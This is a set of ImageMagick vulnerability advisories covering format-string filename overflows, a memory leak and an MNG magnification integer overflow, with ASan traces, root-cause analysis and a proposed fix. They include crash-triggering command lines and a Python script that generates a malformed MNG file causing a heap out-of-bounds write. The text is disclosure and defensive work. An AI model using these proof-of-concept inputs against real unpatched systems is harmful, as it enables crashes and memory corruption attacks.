Package Instance

ImageMagick has a Heap Buffer Overflow in InterpretImageFilename
# Heap Buffer Overflow in InterpretImageFilename

## Summary
A heap buffer overflow was identified in the `InterpretImageFilename` function of ImageMagick. The issue stems from an off-by-one error that causes out-of-bounds memory access when processing format strings containing consecutive percent signs (`%%`).

## Environment
- **OS**: Arch Linux (Linux gmkhost 6.14.2-arch1-1 # 1 SMP PREEMPT_DYNAMIC Thu, 10 Apr 2025 18:43:59 +0000 x86_64 GNU/Linux (GNU libc) 2.41)
- **Architecture**: x86_64
- **Compiler**: gcc (GCC) 15.1.1 20250425

## Reproduction

### Build Instructions
```bash
# Clone the repository
git clone https://github.com/ImageMagick/ImageMagick.git
cd ImageMagick
git reset --hard 8fff9b4f44d2e8b5cae2bd6db70930a144d15f12

# Build with AddressSanitizer
export CFLAGS="-fsanitize=address -g -O1"
export CXXFLAGS="-fsanitize=address -g -O1"
export LDFLAGS="-fsanitizer=address"
./configure
make

# Set library path and trigger the crash
export LD_LIBRARY_PATH="$(pwd)/MagickWand/.libs:$(pwd)/MagickCore/.libs:$LD_LIBRARY_PATH"
./utilities/.libs/magick %% a
```

### Minimum Trigger
```bash
./utilities/.libs/magick %% [any_output_filename]
```

## Crash Analysis

### AddressSanitizer Output
```
$ ./utilities/.libs/magick %% a
=================================================================
==2227694==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7037f99e3ad3 at pc 0x741801e81a17 bp 0x7ffd22fa4e00 sp 0x7ffd22fa45b8
READ of size 1 at 0x7037f99e3ad3 thread T0
    #0 0x741801e81a16 in strchr /usr/src/debug/gcc/gcc/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:746
    #1 0x7418013b4f06 in InterpretImageFilename MagickCore/image.c:1674
    #2 0x7418012826a3 in ReadImages MagickCore/constitute.c:1040
    #3 0x741800e4696b in CLINoImageOperator MagickWand/operation.c:4959
    #4 0x741800e64de7 in CLIOption MagickWand/operation.c:5473
    #5 0x741800d92edf in ProcessCommandOptions MagickWand/magick-cli.c:653
    #6 0x741800d94816 in MagickImageCommand MagickWand/magick-cli.c:1392
    #7 0x741800d913e4 in MagickCommandGenesis MagickWand/magick-cli.c:177
    #8 0x5ef7a3546638 in MagickMain utilities/magick.c:162
    #9 0x5ef7a3546872 in main utilities/magick.c:193
    #10 0x7417ff53f6b4  (/usr/lib/libc.so.6+0x276b4) (BuildId: 468e3585c794491a48ea75fceb9e4d6b1464fc35)
    #11 0x7417ff53f768 in __libc_start_main (/usr/lib/libc.so.6+0x27768) (BuildId: 468e3585c794491a48ea75fceb9e4d6b1464fc35)
    #12 0x5ef7a3546204 in _start (/home/kforfk/workspace/fuzz_analysis/saigen/ImageMagick/utilities/.libs/magick+0x2204) (BuildId: 96677b60628cf297eaedb3eb17b87000d29403f2)

0x7037f99e3ad3 is located 0 bytes after 3-byte region [0x7037f99e3ad0,0x7037f99e3ad3)
allocated by thread T0 here:
    #0 0x741801f20e15 in malloc /usr/src/debug/gcc/gcc/libsanitizer/asan/asan_malloc_linux.cpp:67
    #1 0x7418013e86bc in AcquireMagickMemory MagickCore/memory.c:559

SUMMARY: AddressSanitizer: heap-buffer-overflow MagickCore/image.c:1674 in InterpretImageFilename
Shadow bytes around the buggy address:
  0x7037f99e3800: fa fa 07 fa fa fa 00 fa fa fa fd fa fa fa fd fa
  0x7037f99e3880: fa fa 07 fa fa fa 00 fa fa fa fd fa fa fa fd fa
  0x7037f99e3900: fa fa 07 fa fa fa 00 fa fa fa fd fa fa fa fd fa
  0x7037f99e3980: fa fa 07 fa fa fa 00 fa fa fa fd fa fa fa fd fa
  0x7037f99e3a00: fa fa 07 fa fa fa fd fa fa fa fd fa fa fa 00 04
=>0x7037f99e3a80: fa fa 00 04 fa fa 00 00 fa fa[03]fa fa fa 03 fa
  0x7037f99e3b00: fa fa 00 01 fa fa fa fa fa fa fa fa fa fa fa fa
  0x7037f99e3b80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7037f99e3c00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7037f99e3c80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7037f99e3d00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==2227694==ABORTING
```

## Root Cause Analysis
The first command line argument is interpreted as `MagickImageCommand`:
https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/utilities/magick.c#L83
```c
const CommandInfo
  MagickCommands[] =
  {
    MagickCommandSize("magick", MagickFalse, MagickImageCommand),
```

It is invoked here:
https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/magick-cli.c#L220
```c
status=command(image_info,argc,argv,&text,exception);
```

The execution then follows this path:
- https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/magick-cli.c#L1387
- https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/magick-cli.c#L586
- https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/magick-cli.c#L419
- https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/operation.c#L5391
- https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/operation.c#L5473
- https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickWand/operation.c#L4959
- https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickCore/constitute.c#L1009
- https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickCore/constitute.c#L1039
- https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickCore/image.c#L1649
- https://github.com/ImageMagick/ImageMagick/blob/8fff9b4f44d2e8b5cae2bd6db70930a144d15f12/MagickCore/image.c#L1674

The execution eventually reaches `InterpretImageFilename` and enters a loop. The `format` variable here is `"%%"`. At this point, it is safe to access `*(format + 2)` but not safe to access `*(format + 3)`.

```c
for (p=strchr(format,'%'); p != (char *) NULL; p=strchr(p+1,'%'))
{
  q=(char *) p+1;
  if (*q == '%')
    {
      p=q+1;
      continue;
    }
```

The first `strchr` call returns a pointer equal to `format` and assigns it to `p`. Then `q` is initialized with `p + 1` (`format + 1`), and `*q` is `'%'`, so the code enters the if branch. Here, `p` is reassigned to `q + 1` (`format + 2`).

In the next iteration, `p + 1` (`format + 3`) is passed to `strchr`, and when `strchr` accesses it, this causes an out-of-bounds read.

ImageMagick has a Memory Leak in magick stream
## Summary

In ImageMagick's `magick stream` command, specifying multiple consecutive `%d` format specifiers in a filename template causes a memory leak.

## Details

- **Vulnerability Type:** Memory leak
- **Affected Version:** ImageMagick 7.1.1-47 (as of commit 82572afc, June 2025)

## Reproduction

### Tested Environment

- **Operating System:** Ubuntu 22.04 LTS
- **Architecture:** x86_64
- **Compiler:** gcc with AddressSanitizer (gcc version: 11.4.0)

### Reproduction Steps

```bash
# Clone source
git clone --depth 1 --branch 7.1.1-47 https://github.com/ImageMagick/ImageMagick.git ImageMagick-7.1.1
cd ImageMagick-7.1.1

# Build with ASan
CFLAGS="-g -O0 -fsanitize=address -fno-omit-frame-pointer" CXXFLAGS="$CFLAGS" LDFLAGS="-fsanitize=address" ./configure --enable-maintainer-mode --enable-shared && make -j$(nproc) && make install

# Trigger crash
./utilities/magick stream %d%d a a
```

### Output
```
$ magick stream %d%d a a
stream: no decode delegate for this image format `' @ error/constitute.c/ReadImage/746.
stream: missing an image filename `a' @ error/stream.c/StreamImageCommand/755.

=================================================================
==114==ERROR: LeakSanitizer: detected memory leaks

Direct leak of 152 byte(s) in 1 object(s) allocated from:
    #0 0x7fc4ebe58887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x7fc4eb563c5c in AcquireMagickMemory MagickCore/memory.c:559
    #2 0x7fc4eb563c82 in AcquireCriticalMemory MagickCore/memory.c:635
    #3 0x7fc4eb60c2be in AcquireQuantumInfo MagickCore/quantum.c:119
    #4 0x7fc4eb6b6621 in StreamImage MagickCore/stream.c:1335
    #5 0x7fc4eb09d889 in StreamImageCommand MagickWand/stream.c:292
    #6 0x7fc4eaf1295d in MagickCommandGenesis MagickWand/magick-cli.c:177
    #7 0x55a34f7c0a0c in MagickMain utilities/magick.c:153
    #8 0x55a34f7c0cba in main utilities/magick.c:184
    #9 0x7fc4ea38fd8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58

Indirect leak of 64 byte(s) in 1 object(s) allocated from:
    #0 0x7fc4ebe5957c in __interceptor_posix_memalign ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:226
    #1 0x7fc4eb680e2f in AcquireSemaphoreMemory MagickCore/semaphore.c:154
    #2 0x7fc4eb680f30 in AcquireSemaphoreInfo MagickCore/semaphore.c:200
    #3 0x7fc4eb60d38d in GetQuantumInfo MagickCore/quantum.c:435
    #4 0x7fc4eb60c30e in AcquireQuantumInfo MagickCore/quantum.c:121
    #5 0x7fc4eb6b6621 in StreamImage MagickCore/stream.c:1335
    #6 0x7fc4eb09d889 in StreamImageCommand MagickWand/stream.c:292
    #7 0x7fc4eaf1295d in MagickCommandGenesis MagickWand/magick-cli.c:177
    #8 0x55a34f7c0a0c in MagickMain utilities/magick.c:153
    #9 0x55a34f7c0cba in main utilities/magick.c:184
    #10 0x7fc4ea38fd8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58

SUMMARY: AddressSanitizer: 216 byte(s) leaked in 2 allocation(s).
```

### Commits
Fixed in https://github.com/ImageMagick/ImageMagick/commit/fc3ab0812edef903bbb2473c0ee652ddfd04fe5c and https://github.com/ImageMagick/ImageMagick6/commit/d49460522669232159c2269fa64f73ed30555c1b

ImageMagick has a Stack Buffer Overflow in image.c
Hi, we have found a stack buffer overflow and would like to report this issue.
Could you confirm if this qualifies as a security vulnerability? I am happy to provide any additional information needed.

## Summary

In ImageMagick's `magick mogrify` command, specifying multiple consecutive `%d` format specifiers in a filename template causes internal pointer arithmetic to generate an address below the beginning of the stack buffer, resulting in a stack overflow through `vsnprintf()`.

### Additional information

 Upon further investigation, we found that the same issue occurs not only with mogrify but also with the following subcommands: compare, composite, conjure, convert, identify, mogrify, and montage.

Furthermore, we confirmed that this vulnerability has the potential to lead to RCE. RCE is possible when ASLR is disabled and there is a suitable one_gadget in libc, provided that options and filenames can be controlled.

## Details

- **Vulnerability Type:** CWE-124: Buffer Underwrite
- **Affected Component:** MagickCore/image.c - Format processing within InterpretImageFilename()
- **Affected Version:** ImageMagick 7.1.1-47 (as of commit 82572afc, June 2025)
- **CWE-124: Buffer Underwrite:** A vulnerability where writing occurs to memory addresses before the beginning of a buffer. This is caused by a design flaw in fixed offset correction, resulting in negative pointer arithmetic during consecutive format specifier processing.

## Reproduction

### Tested Environment

- **Operating System:** Ubuntu 22.04 LTS
- **Architecture:** x86_64
- **Compiler:** gcc with AddressSanitizer (gcc version: 11.4.0)

### Reproduction Steps

```bash
# Clone source
git clone --depth 1 --branch 7.1.1-47 https://github.com/ImageMagick/ImageMagick.git ImageMagick-7.1.1
cd ImageMagick-7.1.1

# Build with ASan
CFLAGS="-g -O0 -fsanitize=address -fno-omit-frame-pointer" CXXFLAGS="$CFLAGS" LDFLAGS="-fsanitize=address" ./configure --enable-maintainer-mode --enable-shared && make -j$(nproc) && make install

# Trigger crash
./utilities/magick mogrify %d%d
```

### Output

```plaintext
==4155==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffda834caae at pc 0x7f1ea367fb27 bp 0x7ffda834b680 sp 0x7ffda834ae10
WRITE of size 2 at 0x7ffda834caae thread T0
    #0 0x7f1ea367fb26 in __interceptor_vsnprintf ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:1668
    #1 0x7f1ea2dc9e3e in FormatLocaleStringList MagickCore/locale.c:470
    #2 0x7f1ea2dc9fd9 in FormatLocaleString MagickCore/locale.c:495
    #3 0x7f1ea2da0ad5 in InterpretImageFilename MagickCore/image.c:1696
    #4 0x7f1ea2c6126b in ReadImages MagickCore/constitute.c:1051
    #5 0x7f1ea27ef29b in MogrifyImageCommand MagickWand/mogrify.c:3858
    #6 0x7f1ea278e95d in MagickCommandGenesis MagickWand/magick-cli.c:177
    #7 0x560813499a0c in MagickMain utilities/magick.c:153
    #8 0x560813499cba in main utilities/magick.c:184
    #9 0x7f1ea1c0bd8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #10 0x7f1ea1c0be3f in __libc_start_main_impl ../csu/libc-start.c:392
    #11 0x560813499404 in _start (/root/workdir/ImageMagick/utilities/.libs/magick+0x2404)

Address 0x7ffda834caae is located in stack of thread T0 at offset 62 in frame
    #0 0x7f1ea2c60f62 in ReadImages MagickCore/constitute.c:1027

  This frame has 2 object(s):
    [32, 40) 'images' (line 1033)
    [64, 4160) 'read_filename' (line 1029) <== Memory access at offset 62 underflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:1668 in __interceptor_vsnprintf
Shadow bytes around the buggy address:
  0x100035061900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100035061910: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100035061920: 00 00 00 00 00 00 00 00 f3 f3 f3 f3 f3 f3 f3 f3
  0x100035061930: f3 f3 f3 f3 f3 f3 f3 f3 00 00 00 00 00 00 00 00
  0x100035061940: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x100035061950: f1 f1 00 f2 f2[f2]00 00 00 00 00 00 00 00 00 00
  0x100035061960: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100035061970: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100035061980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100035061990: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000350619a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==4155==ABORTING
```

### Affected Code

In `MagickCore/image.c`, within the `InterpretImageFilename()` function:

```c
MagickExport size_t InterpretImageFilename(const ImageInfo *image_info,
  Image *image,const char *format,int value,char *filename,
  ExceptionInfo *exception)
{
...
  for (p=strchr(format,'%'); p != (char *) NULL; p=strchr(p+1,'%'))
  {
    q=(char *) p+1;
    if (*q == '%')
      {
        p=q+1;
        continue;
      }
    field_width=0;
    if (*q == '0')
      field_width=(ssize_t) strtol(q,&q,10);
    switch (*q)
    {
      case 'd':
      case 'o':
      case 'x':
      {
        q++;
        c=(*q);
        *q='\0';
        /*--------Affected--------*/
        (void) FormatLocaleString(filename+(p-format-offset),(size_t)
          (MagickPathExtent-(p-format-offset)),p,value);
        offset+=(4-field_width);
        /*--------Affected--------*/
        *q=c;
        (void) ConcatenateMagickString(filename,q,MagickPathExtent);
        canonical=MagickTrue;
        if (*(q-1) != '%')
          break;
        p++;
        break;
      }
      case '[':
      {
        ...
      }
      default:
        break;
    }
  }
```

## Technical Analysis

This vulnerability is caused by an inconsistency in the template expansion processing within `InterpretImageFilename()`.

The format specifiers `%d`, `%o`, and `%x` in templates are replaced with integer values by `FormatLocaleString()`, but the output buffer position is calculated by `filename + (p - format - offset)`.

The `offset` variable is cumulatively incremented to correct the output length of `%d` etc., but the design using a static `offset += (4 - field_width)` causes `offset` to increase excessively when `%` specifiers are consecutive in the template, creating a dangerous state where the write destination address points before `filename`.

The constant `4` was likely chosen based on the character count of typical format specifiers like `%03d` (total of 4 characters: `%`, `0`, `3`, `d`). However, in reality, there are formats with only 2 characters like `%d`, and formats with longer width specifications (e.g., `%010d`), so this uniform constant-based correction is inconsistent with actual template structures.

As a result, when the correction value becomes excessive, `offset` exceeds the relative position `p - format` within the template, generating a negative index. This static and template-independent design of the correction processing is the root cause of this vulnerability.

This causes `vsnprintf()` to write outside the stack buffer range, which is detected by AddressSanitizer as a `stack-buffer-overflow`.

## Proposed Fix

In `MagickCore/image.c`, within the `InterpretImageFilename()` function:

```c
MagickExport size_t InterpretImageFilename(const ImageInfo *image_info,
  Image *image,const char *format,int value,char *filename,
  ExceptionInfo *exception)
{
...
  /*--------Changed--------*/
  ssize_t
    field_width,
    offset,
    written; // Added
  /*--------Changed--------*/
...
  for (p=strchr(format,'%'); p != (char *) NULL; p=strchr(p+1,'%'))
  {
    q=(char *) p+1;
    if (*q == '%')
      {
        p=q+1;
        continue;
      }
    field_width=0;
    if (*q == '0')
      field_width=(ssize_t) strtol(q,&q,10);
    switch (*q)
    {
      case 'd':
      case 'o':
      case 'x':
      {
        q++;
        c=(*q);
        *q='\0';
        written = FormatLocaleString(filename+(p-format-offset),(size_t)
          (MagickPathExtent-(p-format-offset)),p,value);
        /*--------Changed--------*/
        if (written <= 0 || written > (MagickPathExtent - (p - format - offset)))
          return 0;
        offset += (ssize_t)((q - p) - written);
        /*--------Changed--------*/
        *q=c;
        (void) ConcatenateMagickString(filename,q,MagickPathExtent);
        canonical=MagickTrue;
        if (*(q-1) != '%')
          break;
        p++;
        break;
      }
      case '[':
      {
        ...
      }
      default:
        break;
    }
  }
```
- By updating `offset` based on the difference between template description length `(q - p)` and the number of output bytes `written`, buffer position consistency is maintained.
- Correction is performed according to the actual template structure, ensuring stable behavior regardless of format length without relying on static constants.
- Range checking of `written` allows detection of vsnprintf failures and excessive writes.

### Commits
Fixed in https://github.com/ImageMagick/ImageMagick/commit/66dc8f51c11b0ae1f1cdeacd381c3e9a4de69774 and https://github.com/ImageMagick/ImageMagick6/commit/643deeb60803488373cd4799b24d5786af90972e

imagemagick: integer overflows in MNG magnification
## **Vulnerability Details**

The magnified size calculations in `ReadOneMNGIMage` (in `coders/png.c`) are unsafe and can overflow, leading to memory corruption.

The source snippet below is heavily abbreviated due to the size of the function, but hopefully the important points are captured.

```c
static Image *ReadOneMNGImage(MngReadInfo* mng_info,
  const ImageInfo *image_info,ExceptionInfo *exception)
{

// Lots of stuff, this is effectively a state machine for the MNG rendering commands,
// skip to the point where we start processing the "MAGN" command.

        if (memcmp(type,mng_MAGN,4) == 0)
          {
            png_uint_16
              magn_first,
              magn_last,
              magn_mb,
              magn_ml,
              magn_mr,
              magn_mt,
              magn_mx,
              magn_my,
              magn_methx,
              magn_methy;

// Details unimportant, but each of the `magn_xxx` variables is read from the file.

            if (magn_first == 0 || magn_last == 0)
              {
                /* Save the magnification factors for object 0 */
                mng_info->magn_mb=magn_mb;
                mng_info->magn_ml=magn_ml;
                mng_info->magn_mr=magn_mr;
                mng_info->magn_mt=magn_mt;
                mng_info->magn_mx=magn_mx;
                mng_info->magn_my=magn_my;
                mng_info->magn_methx=magn_methx;
                mng_info->magn_methy=magn_methy;
              }
          }

// Details unimportant, we load the image to be scaled and store it in `image`

    if (mng_type)
      {
        MngBox
          crop_box;

        if (((mng_info->magn_methx > 0) && (mng_info->magn_methx <= 5)) &&
            ((mng_info->magn_methy > 0) && (mng_info->magn_methy <= 5)))
          {
            png_uint_32
               magnified_height,
               magnified_width;

            if (logging != MagickFalse)
              (void) LogMagickEvent(CoderEvent,GetMagickModule(),
                "  Processing MNG MAGN chunk");

            if (image->columns == 1)
              mng_info->magn_methx = 1;
            if (image->rows == 1)
              mng_info->magn_methy = 1;
            if (mng_info->magn_methx == 1)
              {
                magnified_width=mng_info->magn_ml; // [0]
                
                if (image->columns > 1)
                   magnified_width += mng_info->magn_mr; // [1]

                if (image->columns > 2)
                   magnified_width += (png_uint_32)
                      ((image->columns-2)*(mng_info->magn_mx)); // [2]
               }

// Different cases handle available scaling kinds, all of which have similar issues...

// We now check whether the output image is larger than the input image in either
// dimension, and if so, we will allocate a new image buffer of size
// `magnified_width * magnified_height`.

            if (magnified_height > image->rows ||
                magnified_width > image->columns)
              {
                Image
                  *large_image;

// Snip...

                large_image->columns=magnified_width;
                large_image->rows=magnified_height;

                magn_methx=mng_info->magn_methx;
                magn_methy=mng_info->magn_methy;

// In between here, we allocate the pixel buffer for `large_image`.

                /* magnify the rows into the right side of the large image */

                if (logging != MagickFalse)
                  (void) LogMagickEvent(CoderEvent,GetMagickModule(),
                    "    Magnify the rows to %.20g",
                    (double) large_image->rows);
                m=(ssize_t) mng_info->magn_mt;
                yy=0;
                length=(size_t) GetPixelChannels(image)*image->columns;
                next=(Quantum *) AcquireQuantumMemory(length,sizeof(*next));
                prev=(Quantum *) AcquireQuantumMemory(length,sizeof(*prev));

                if ((prev == (Quantum *) NULL) ||
                    (next == (Quantum *) NULL))
                  {
                    if (prev != (Quantum *) NULL)
                      prev=(Quantum *) RelinquishMagickMemory(prev);
                    if (next != (Quantum *) NULL)
                      next=(Quantum *) RelinquishMagickMemory(next);
                    image=DestroyImageList(image);
                    ThrowReaderException(ResourceLimitError,
                      "MemoryAllocationFailed");
                  }

                n=GetAuthenticPixels(image,0,0,image->columns,1,exception);
                (void) memcpy(next,n,length);

                for (y=0; y < (ssize_t) image->rows; y++)
                {
                  if (y == 0)
                    m=(ssize_t) mng_info->magn_mt;

                  else if (magn_methy > 1 && y == (ssize_t) image->rows-2)
                    m=(ssize_t) mng_info->magn_mb;

                  else if (magn_methy <= 1 && y == (ssize_t) image->rows-1)
                    m=(ssize_t) mng_info->magn_mb;

                  else if (magn_methy > 1 && y == (ssize_t) image->rows-1)
                    m=1;

                  else
                    m=(ssize_t) mng_info->magn_my;

                  n=prev;
                  prev=next;
                  next=n;

                  if (y < (ssize_t) image->rows-1)
                    {
                      n=GetAuthenticPixels(image,0,y+1,image->columns,1,
                          exception);
                      (void) memcpy(next,n,length);
                    }

                  for (i=0; i < m; i++, yy++)
                  {
                    Quantum
                      *pixels;

                    assert(yy < (ssize_t) large_image->rows);
                    pixels=prev;
                    n=next;
                    q=GetAuthenticPixels(large_image,0,yy,large_image->columns,
                      1,exception);
                    if (q == (Quantum *) NULL)
                      break;
                    q+=(ptrdiff_t) (large_image->columns-image->columns)*
                      GetPixelChannels(large_image); // [3]
```

If we look at the calculation for `magnified_width`, we can see that we are storing the results in a `png_uint32`. The operations at \[0\] and \[1\] are safe, since `mng_info->magn_ml` and `mng_info->magn_mx` are both 16-bit unsigned integers, but both the multiplication at \[2\] and the addition of the result of that multiplication to `magnified_width` can overflow, leading to a value of `magnified_width` that is smaller than required.

When we then operate on the pixel buffers, we use the original parameters for the magnification, and we assume (reasonably?) that the output buffer is larger than the input buffer when calculating where to write the upsampled/magnified pixel values. Unfortunately, after the overflow has happened, this assumption is no longer true, and the calculation at \[3\] will end up with a `q` pointer outside the buffer bounds.

This issue leads to an out-of-bounds write of controlled data beyond the bounds of a heap allocation.

Triggering this issue requires an `image` with large `columns` or `rows` (\~65535) which should be prevented by all of the example security policies (which set `width`/`height` limits of `8KP`).

## **Affected Version(s)**

Verified on current HEAD (305e383c8ac7b30bc2ee96ab8c43ec96217ec2a9) and latest stable release (7.1.2-0).

### **Build Instructions**

```shell
git clone https://github.com/imagemagick/imagemagick
cd imagemagick

export CC=clang
export CXX=clang++
export CFLAGS="-fsanitize=address"
export CXXFLAGS="-fsanitize=address"
export LDFLAGS="-fsanitize=address"

./configure --disable-shared --disable-docs --with-jxl
make -j
```

## **Reproduction**

### **Test Case**

This testcase is a python script that will generate an MNG file with a MAGN chunk that triggers this overflow leading to an out-of-bounds heap write.

```
import struct
import zlib

def create_chunk(chunk_type, data):
    crc = zlib.crc32(chunk_type + data) & 0xFFFFFFFF
    return struct.pack('>I', len(data)) + chunk_type + data + struct.pack('>I', crc)

# MNG signature
mng_signature = b'\x8aMNG\r\n\x1a\n'

# --- Dimensions ---
mhdr_width = 1
mhdr_height = 1
ihdr_width = 65538 # W: Original width to cause W' overflow
ihdr_height = 1    # H: Original height

# MHDR chunk (Valid small dimensions)
mhdr_data = struct.pack('>IIIIIII', mhdr_width, mhdr_height, 1, 0, 0, 0, 0)
mhdr_chunk = create_chunk(b'MHDR', mhdr_data)

# MAGN chunk: Trigger width overflow, force entry via height magn
magn_first = 0
magn_last = 0
magn_methx = 1
magn_mx = 65535      # -> magnified_width = 65534 (overflow)
magn_my = 2          # -> magnified_height = 2 (magn_mt=2)
magn_ml = 65535
magn_mr = 65535
magn_mt = 2          # Force magnified_height > H (necessary to trigger large_image path)
magn_mb = 1
magn_methy = 1

magn_data = struct.pack('>HHBHHHHHHB',
                        magn_first, magn_last,
                        magn_methx,
                        magn_mx, magn_my,
                        magn_ml, magn_mr,
                        magn_mt, magn_mb,
                        magn_methy)
magn_chunk = create_chunk(b'MAGN', magn_data)

# IHDR chunk
ihdr_data = struct.pack('>IIBBBBB', ihdr_width, ihdr_height, 8, 0, 0, 0, 0)
ihdr_chunk = create_chunk(b'IHDR', ihdr_data)

# IDAT chunk (Minimal data for W x H grayscale pixels)
scanline = b'\x00' + (b'\x00' * ihdr_width)
compressed_scanline = zlib.compress(scanline)
idat_chunk = create_chunk(b'IDAT', compressed_scanline)

# IEND chunk
iend_chunk = create_chunk(b'IEND', b'')

# MEND chunk
mend_chunk = create_chunk(b'MEND', b'')

program_input = (
    mng_signature +
    mhdr_chunk +
    magn_chunk +
    ihdr_chunk +
    idat_chunk +
    iend_chunk +
    mend_chunk
)

print(f"Generated MNG size: {len(program_input)} bytes")
with open("magn_write.mng", "wb") as tmp:
    tmp.write(program_input)
```

### **Command**

```shell
python3 ./generate_testcase.py
utilities/magick ./magn_write.mng -resize 200x200 PNG:output.png
```

### **ASan Backtrace**

```
=================================================================
==585863==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f80849757d0 at pc 0x55744124fba3 bp 0x7fff1300ddf0 sp 0x7fff1300dde8
WRITE of size 4 at 0x7f80849757d0 thread T0
    #0 0x55744124fba2 in SetPixelRed /tmp/repro/imagemagick/./MagickCore/pixel-accessor.h:913:52
    #1 0x55744123be16 in ReadOneMNGImage /tmp/repro/imagemagick/coders/png.c:6657:27
    #2 0x557441222c33 in ReadMNGImage /tmp/repro/imagemagick/coders/png.c:7341:9
    #3 0x557441347da1 in ReadImage /tmp/repro/imagemagick/MagickCore/constitute.c:736:15
    #4 0x55744134ad96 in ReadImages /tmp/repro/imagemagick/MagickCore/constitute.c:1078:9
    #5 0x5574419135fc in CLINoImageOperator /tmp/repro/imagemagick/MagickWand/operation.c:4959:22
    #6 0x55744190748c in CLIOption /tmp/repro/imagemagick/MagickWand/operation.c:5473:7
    #7 0x5574417dd25b in ProcessCommandOptions /tmp/repro/imagemagick/MagickWand/magick-cli.c:653:13
    #8 0x5574417de629 in MagickImageCommand /tmp/repro/imagemagick/MagickWand/magick-cli.c:1392:5
    #9 0x5574417daf9c in MagickCommandGenesis /tmp/repro/imagemagick/MagickWand/magick-cli.c:177:14
    #10 0x557440e237b9 in MagickMain /tmp/repro/imagemagick/utilities/magick.c:162:10
    #11 0x557440e231e1 in main /tmp/repro/imagemagick/utilities/magick.c:193:10
    #12 0x7f8087433ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #13 0x7f8087433d64 in __libc_start_main csu/../csu/libc-start.c:360:3
    #14 0x557440d3f790 in _start (/tmp/repro/imagemagick/utilities/magick+0x1f2790) (BuildId: 926b2c12732f27a214dada191ea6277c7b553ea5)

0x7f80849757d0 is located 48 bytes before 1572816-byte region [0x7f8084975800,0x7f8084af57d0)
allocated by thread T0 here:
    #0 0x557440de00cb in posix_memalign (/tmp/repro/imagemagick/utilities/magick+0x2930cb) (BuildId: 926b2c12732f27a214dada191ea6277c7b553ea5)
    #1 0x557440e58aa6 in AcquireAlignedMemory_POSIX /tmp/repro/imagemagick/MagickCore/memory.c:300:7
    #2 0x557440e5885d in AcquireAlignedMemory /tmp/repro/imagemagick/MagickCore/memory.c:378:10
    #3 0x5574412e9725 in OpenPixelCache /tmp/repro/imagemagick/MagickCore/cache.c:3775:46
    #4 0x5574412eead7 in GetImagePixelCache /tmp/repro/imagemagick/MagickCore/cache.c:1782:18
    #5 0x5574412ef71b in SyncImagePixelCache /tmp/repro/imagemagick/MagickCore/cache.c:5600:28
    #6 0x557440e2e786 in SetImageStorageClass /tmp/repro/imagemagick/MagickCore/image.c:2617:10
